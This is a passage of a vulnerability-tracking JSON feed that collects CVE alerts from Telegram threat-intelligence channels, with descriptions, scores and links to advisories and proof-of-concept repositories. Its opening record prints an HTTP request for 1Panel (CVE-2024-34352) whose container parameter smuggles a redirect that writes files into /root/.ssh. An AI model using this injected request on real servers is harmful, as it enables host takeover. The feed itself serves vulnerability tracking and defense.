/api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1\nHost: xxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nOr write a timed task to execute any command.\n### Impact\nThe ability to write arbitrary files on the host where the service is deployed can lead to a host takeover\n\ud83d\udccf Published: 2024-05-09T15:14:24Z\n\ud83d\udccf Modified: 2025-02-07T17:47:10Z\n\ud83d\udd17 References:\n1. https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-f8ch-w75v-c847\n2. https://nvd.nist.gov/vuln/detail/CVE-2024-34352\n3. https://github.com/1Panel-dev/1Panel\n4. https://pkg.go.dev/vuln/GO-2024-2830", "creation_timestamp": "2025-02-07T18:02:55.000000Z"}, {"uuid": "ec601ce8-bde7-46ee-9582-ebd198dd9a62", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3459", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4002", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-3459\n\ud83d\udd25 CVSS Score: 8.4 (CVSS_V3)\n\ud83d\udd39 Description: KioWare for Windows (versions all\u00a0through 8.34)\u00a0allows to escape the environment by downloading PDF files, which then by default are opened in an external PDF viewer. By using built-in functions of that viewer it is possible to launch a web browser, search through local files and, subsequently, launch any program with user privileges.\n\ud83d\udccf Published: 2024-05-14T18:30:52Z\n\ud83d\udccf Modified: 2025-02-12T03:31:14Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-3459\n2. https://cert.pl/en/posts/2024/04/CVE-2024-3459\n3. https://cert.pl/posts/2024/04/CVE-2024-3459\n4. https://www.kioware.com", "creation_timestamp": "2025-02-12T04:08:42.000000Z"}, {"uuid": "f19a0d34-ff89-4d27-8117-2b840688b135", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/securixy_kz/871", "content": "", "creation_timestamp": "2026-07-13T00:00:35.722704Z"}, {"uuid": "4e3eec79-b0c3-49d3-b82d-d057b72753e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34520", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4195", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34520\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An authorization bypass vulnerability exists in the Mavenir SCE Application Provisioning Portal, version PORTAL-LBS-R_1_0_24_0, which allows an authenticated 'guest' user to perform unauthorized administrative actions, such as accessing the 'add user' feature, by bypassing client-side access controls.\n\ud83d\udccf Published: 2025-02-13T00:33:07Z\n\ud83d\udccf Modified: 2025-02-13T00:33:07Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-34520\n2. https://github.com/whitewhale-dmb/Vulnerability-Research/tree/main/CVE-2024-34520", "creation_timestamp": "2025-02-13T01:10:22.000000Z"}, {"uuid": "504c8f89-4401-47ab-997e-3842c7635344", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34521", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4194", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34521\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A directory traversal vulnerability exists in the Mavenir SCE Application Provisioning Portal, version PORTAL-LBS-R_1_0_24_0, which allows an administrative user to access system files with the file permissions of the privileged system user running the application.\n\ud83d\udccf Published: 2025-02-13T00:33:07Z\n\ud83d\udccf Modified: 2025-02-13T00:33:07Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2024-34521\n2. https://github.com/whitewhale-dmb/Vulnerability-Research/tree/main/CVE-2024-34521", "creation_timestamp": "2025-02-13T01:10:09.000000Z"}, {"uuid": "f645eed7-fd32-4cb4-bab2-09ac2e2f9311", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34069", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4948", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34069\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Werkzeug is a comprehensive WSGI web application library. The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances. This requires the attacker to get the developer to interact with a domain and subdomain they control, and enter the debugger PIN, but if they are successful it allows access to the debugger even if it is only running on localhost. This also requires the attacker to guess a URL in the developer's application that will trigger the debugger. This vulnerability is fixed in 3.0.3.\n\ud83d\udccf Published: 2024-05-06T14:44:38.780Z\n\ud83d\udccf Modified: 2025-02-21T18:03:28.226Z\n\ud83d\udd17 References:\n1. https://github.com/pallets/werkzeug/security/advisories/GHSA-2g68-c3qc-8985\n2. https://github.com/pallets/werkzeug/commit/3386395b24c7371db11a5b8eaac0c91da5362692\n3. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HFERFN7PINV4MOGMGA3DPIXJPDCYOEJZ/\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/H4SH32AM3CTPMAAEOIDAN7VU565LO4IR/\n5. https://security.netapp.com/advisory/ntap-20240614-0004/", "creation_timestamp": "2025-02-21T18:19:04.000000Z"}, {"uuid": "b502cabc-2fd1-425b-8163-043a917f714e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/4933", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34693\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N)\n\ud83d\udd39 Description: Improper Input Validation vulnerability in Apache Superset, allows for an authenticated attacker to create a MariaDB connection with local_infile enabled. If both the MariaDB server (off by default) and the local mysql client on the web server are set to allow for local infile, it's possible for the attacker to execute a specific MySQL/MariaDB SQL command that is able to read files from the server and insert their content on a MariaDB database table.This issue affects Apache Superset: before 3.1.3 and version 4.0.0\n\nUsers are recommended to upgrade to version 4.0.1 or 3.1.3, which fixes the issue.\n\ud83d\udccf Published: 2024-06-20T08:51:55.329Z\n\ud83d\udccf Modified: 2025-02-21T16:55:58.529Z\n\ud83d\udd17 References:\n1. https://lists.apache.org/thread/1803x1s34m7r71h1k0q1njol8k6fmyon\n2. http://www.openwall.com/lists/oss-security/2024/06/20/1", "creation_timestamp": "2025-02-21T17:18:31.000000Z"}, {"uuid": "20173c5c-5765-4830-bc55-89c3af93ef6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34764", "type": "seen", "source": "Telegram/Qlxx24iCv3JczgJfQ8yzAa92ZCsFWEBfmgOhAebhasBWNu4k", "content": "", "creation_timestamp": "2025-03-02T11:46:30.000000Z"}, {"uuid": "435489c9-a904-410a-849b-cb630466d57f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34034", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5379", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34034\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in FlexRIC 2.0.0. It crashes during a Subscription Request denial-of-service (DoS) attack, triggered by an assertion error. An attacker must send a high number of E42 Subscription Requests to the Near-RT RIC component.\n\ud83d\udccf Published: 2025-02-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-25T19:56:08.593Z\n\ud83d\udd17 References:\n1. https://gitlab.eurecom.fr/mosaic5g/flexric/-/tags/v2.0.0\n2. https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "creation_timestamp": "2025-02-25T20:23:07.000000Z"}, {"uuid": "7b0005f6-036f-4e6d-a94f-7a1663607da1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34036", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5382", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34036\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in O-RAN Near Realtime RIC I-Release. To exploit this vulnerability, an attacker can disrupt the initial connection between a gNB and the Near RT-RIC by inundating the system with a high volume of subscription requests via an xApp.\n\ud83d\udccf Published: 2025-02-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-25T19:53:31.480Z\n\ud83d\udd17 References:\n1. https://jira.o-ran-sc.org/browse/RIC-1057\n2. https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "creation_timestamp": "2025-02-25T20:23:12.000000Z"}, {"uuid": "f63cb54e-3dbc-4d62-a628-61cd9c028dc0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34035", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/5381", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34035\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in O-RAN Near Realtime RIC H-Release. To trigger the crashing of the e2mgr, an adversary must flood the system with a significant quantity of E2 Subscription Requests originating from an xApp.\n\ud83d\udccf Published: 2025-02-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-02-25T19:55:18.178Z\n\ud83d\udd17 References:\n1. https://jira.o-ran-sc.org/browse/RIC-1056\n2. https://gist.github.com/fklement/3a43dbb9fb361dddd8db7703080ade0f", "creation_timestamp": "2025-02-25T20:23:12.000000Z"}, {"uuid": "c841ea55-e656-4612-a0ee-c043ec1a3980", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34469", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7239", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34469\nURL\uff1ahttps://github.com/Toxich4/CVE-2024-34469\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-07T07:50:09.000000Z"}, {"uuid": "cdab7f6b-7067-4432-ab66-52a1eaba9b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34220", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7271", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34220 | SQL injection\nURL\uff1ahttps://github.com/dovankha/CVE-2024-34220\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-11T07:42:05.000000Z"}, {"uuid": "9d9af648-80a3-4eac-8f20-369abc7d8bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34693", "type": "seen", "source": "https://t.me/securixy_kz/920", "content": "", "creation_timestamp": "2026-07-13T00:00:35.088864Z"}, {"uuid": "16920b61-5f6e-464a-bb77-03b6ba6d2485", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34310", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7265", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34310\nURL\uff1ahttps://github.com/3309899621/CVE-2024-34310\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-10T14:20:48.000000Z"}, {"uuid": "82111c8c-613a-4775-95af-3009fcc6da40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34223", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7273", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34223 | Insecure permission\nURL\uff1ahttps://github.com/dovankha/CVE-2024-34223\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-11T10:52:50.000000Z"}, {"uuid": "8b99e16c-8d45-423c-adb1-89d1964105b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34222", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7272", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-34222 | SQL injection\nURL\uff1ahttps://github.com/dovankha/CVE-2024-34222\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-11T10:48:42.000000Z"}, {"uuid": "ee69c0a1-da88-4ba7-b758-03255592bbc1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34014", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5818", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34014\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N)\n\ud83d\udd39 Description: Arbitrary file overwrite during recovery due to improper symbolic link handling. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 1.8.3.818, Acronis Backup plugin for cPanel & WHM (Linux) before build 1.9.1.892, Acronis Backup extension for Plesk (Linux) before build 1.8.6.599, Acronis Backup plugin for DirectAdmin (Linux) before build 1.2.2.181.\n\ud83d\udccf Published: 2024-11-11T13:20:33.777Z\n\ud83d\udccf Modified: 2025-02-27T22:59:35.050Z\n\ud83d\udd17 References:\n1. https://security-advisory.acronis.com/advisories/SEC-7592", "creation_timestamp": "2025-02-27T23:25:42.000000Z"}, {"uuid": "d8e9b28d-6d0c-4cc2-b46e-988b3d270dff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34015", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/5817", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34015\n\ud83d\udd25 CVSS Score: 3.3 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N)\n\ud83d\udd39 Description: Sensitive information disclosure during file browsing due to improper symbolic link handling. The following products are affected: Acronis Backup plugin for cPanel & WHM (Linux) before build 1.8.3.818, Acronis Backup plugin for cPanel & WHM (Linux) before build 1.9.1.892.\n\ud83d\udccf Published: 2024-11-11T13:21:00.396Z\n\ud83d\udccf Modified: 2025-02-27T22:59:54.659Z\n\ud83d\udd17 References:\n1. https://security-advisory.acronis.com/advisories/SEC-7601", "creation_timestamp": "2025-02-27T23:25:41.000000Z"}, {"uuid": "a055f8cd-3b77-4c2f-ac02-b3018ecb35b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34092", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8693", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34092\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in Archer Platform 6 before 2024.04. Authentication was mishandled because lock did not terminate an existing session. 6.14 P3 (6.14.0.3) is also a fixed release.\n\ud83d\udccf Published: 2024-05-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-25T16:17:57.753Z\n\ud83d\udd17 References:\n1. https://archerirm.com\n2. https://www.archerirm.community/t5/platform-announcements/archer-update-for-multiple-vulnerabilities/ta-p/720963", "creation_timestamp": "2025-03-25T16:24:55.000000Z"}, {"uuid": "aa7b0fa3-69a4-4d82-ac04-2fa948b1d159", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3495", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/7386", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2024\n\u63cf\u8ff0\uff1aCVE-2024-3495 Country State City Dropdown CF7 <= 2.7.2 - Unauthenticated SQL Injection\nURL\uff1ahttps://github.com/truonghuuphuc/CVE-2024-3495-Poc\n\n\u6807\u7b7e\uff1a#CVE-2024", "creation_timestamp": "2024-05-23T02:43:05.000000Z"}, {"uuid": "0f7bfd49-39b3-4b42-adfe-6eac65ed225d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34398", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7349", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34398\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue was discovered in BMC Remedy Mid Tier 7.6.04. The web application allows stored HTML Injection by authenticated remote attackers.\n\ud83d\udccf Published: 2025-03-12T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-12T16:56:16.255Z\n\ud83d\udd17 References:\n1. https://www.gruppotim.it/it/footer/red-team.html", "creation_timestamp": "2025-03-12T17:41:39.000000Z"}, {"uuid": "b9536c78-4dde-498c-8917-d6b246ad7c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34896", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7585", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34896\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in Nedis SmartLife Video Doorbell (WIFICDP10GY), Nedis SmartLife IOS v1.4.0 causes users who are disconnected from a previous peer-to-peer connection with the device to still have access to live video feed.\n\ud83d\udccf Published: 2025-02-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-14T16:32:06.603Z\n\ud83d\udd17 References:\n1. http://nedis.com\n2. https://urn.kb.se/resolve?urn=urn:nbn:se:kth:diva-359419", "creation_timestamp": "2025-03-14T16:44:00.000000Z"}, {"uuid": "92c35645-f233-4b48-b0e2-d4a6bcdfe181", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34004", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9219", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34004\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In a shared hosting environment that has been misconfigured to allow access to other users' content, a Moodle user with both access to restore wiki modules and direct access to the web server outside of the Moodle webroot could execute a local file include.\n\ud83d\udccf Published: 2024-05-31T20:23:02.481Z\n\ud83d\udccf Modified: 2025-03-27T21:12:35.694Z\n\ud83d\udd17 References:\n1. https://moodle.org/mod/forum/discuss.php?d=458393", "creation_timestamp": "2025-03-27T21:27:44.000000Z"}, {"uuid": "7a620b41-d1e4-4470-b577-7aae8ce64a0e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34897", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8002", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34897\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Nedis SmartLife android app v1.4.0 was discovered to contain an API key disclosure vulnerability.\n\ud83d\udccf Published: 2025-02-03T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-18T20:29:23.505Z\n\ud83d\udd17 References:\n1. http://nedis.com\n2. https://urn.kb.se/resolve?urn=urn:nbn:se:kth:diva-359419", "creation_timestamp": "2025-03-18T20:48:24.000000Z"}, {"uuid": "4d75d093-34a9-4743-b40d-e7743f3ad5bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34529", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8887", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34529\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Nebari through 2024.4.1 prints the temporary Keycloak root password.\n\ud83d\udccf Published: 2024-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T16:15:56.276Z\n\ud83d\udd17 References:\n1. https://github.com/nebari-dev/nebari/issues/2282\n2. https://github.com/nebari-dev/nebari/blob/5463e8df9e8d53a266a7b9d3d4e27353ec43c40b/src/_nebari/deploy.py#L71", "creation_timestamp": "2025-03-26T16:25:18.000000Z"}, {"uuid": "a04b5e08-2539-4377-9137-183a7cce4513", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34508", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8964", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34508\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: dcmnet in DCMTK before 3.6.9 has a segmentation fault via an invalid DIMSE message.\n\ud83d\udccf Published: 2024-05-05T00:00:00.000Z\n\ud83d\udccf Modified: 2025-03-26T20:09:10.956Z\n\ud83d\udd17 References:\n1. https://support.dcmtk.org/redmine/issues/1114\n2. https://github.com/DCMTK/dcmtk/commit/c78e434c0c5f9d932874f0b17a8b4ce305ca01f5\n3. https://lists.debian.org/debian-lts-announce/2024/06/msg00022.html", "creation_timestamp": "2025-03-26T20:25:56.000000Z"}, {"uuid": "3bdd2615-d433-4866-b78e-966160c31d71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34738", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8982", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34738\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In multiple functions of AppOpsService.java, there is a possible way for unprivileged apps to read their own restrictRead app-op states due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.\n\ud83d\udccf Published: 2024-08-15T21:56:32.460Z\n\ud83d\udccf Modified: 2025-03-26T21:10:58.257Z\n\ud83d\udd17 References:\n1. https://android.googlesource.com/platform/frameworks/base/+/21d764807b3dcd402d63e2b4c9fbae1c9965400a\n2. https://source.android.com/security/bulletin/2024-08-01", "creation_timestamp": "2025-03-26T21:25:47.000000Z"}, {"uuid": "70432f27-ab06-4d8a-a27e-50fd9dfc9c80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34952", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/9171", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34952\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: taurusxin ncmdump v1.3.2 was discovered to contain a segmentation violation via the NeteaseCrypt::FixMetadata() function at /src/ncmcrypt.cpp. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted .ncm file.\n\ud83d\udccf Published: 2024-05-20T13:09:50.516Z\n\ud83d\udccf Modified: 2025-03-27T19:23:18.034Z\n\ud83d\udd17 References:\n1. https://github.com/Helson-S/FuzzyTesting/tree/master/ncmdump/dos_FixMetadata\n2. https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_FixMetadata/dos_FixMetadata.md\n3. https://github.com/Helson-S/FuzzyTesting/tree/master/ncmdump/dos_FixMetadata/poc\n4. https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_FixMetadata/poc/I1DWE0~U\n5. https://github.com/taurusxin/ncmdump/issues/18\n6. https://github.com/Helson-S/FuzzyTesting/blob/master/ncmdump/dos_FixMetadata/dos_FixMetadata.assets/debug-coredump.png", "creation_timestamp": "2025-03-27T19:26:42.000000Z"}, {"uuid": "bac5215f-16c8-448d-a5dd-5bf66fa0170c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34899", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9197", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34899\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: WWBN AVideo 12.4 is vulnerable to Cross Site Scripting (XSS).\n\ud83d\udccf Published: 2024-05-13T18:40:25.814Z\n\ud83d\udccf Modified: 2025-03-27T20:14:43.775Z\n\ud83d\udd17 References:\n1. https://hackerdna.com/courses/cve/cve-2024-34899", "creation_timestamp": "2025-03-27T20:27:14.000000Z"}, {"uuid": "39747997-eb17-46d9-a80e-facffbe9d889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34404", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/9432", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-34404\n\ud83d\udd25 CVSS Score: 6.8 (cvssV3_1, Vector: CVSS:3.1/AC:L/AV:N/A:N/C:N/I:H/PR:H/S:C/UI:N)\n\ud83d\udd39 Description: A vulnerability was discovered in the Alta Recovery Vault feature of Veritas NetBackup before 10.4 and NetBackup Appliance before 5.4. By design, only the cloud administrator should be able to disable the retention lock of Governance mode images. 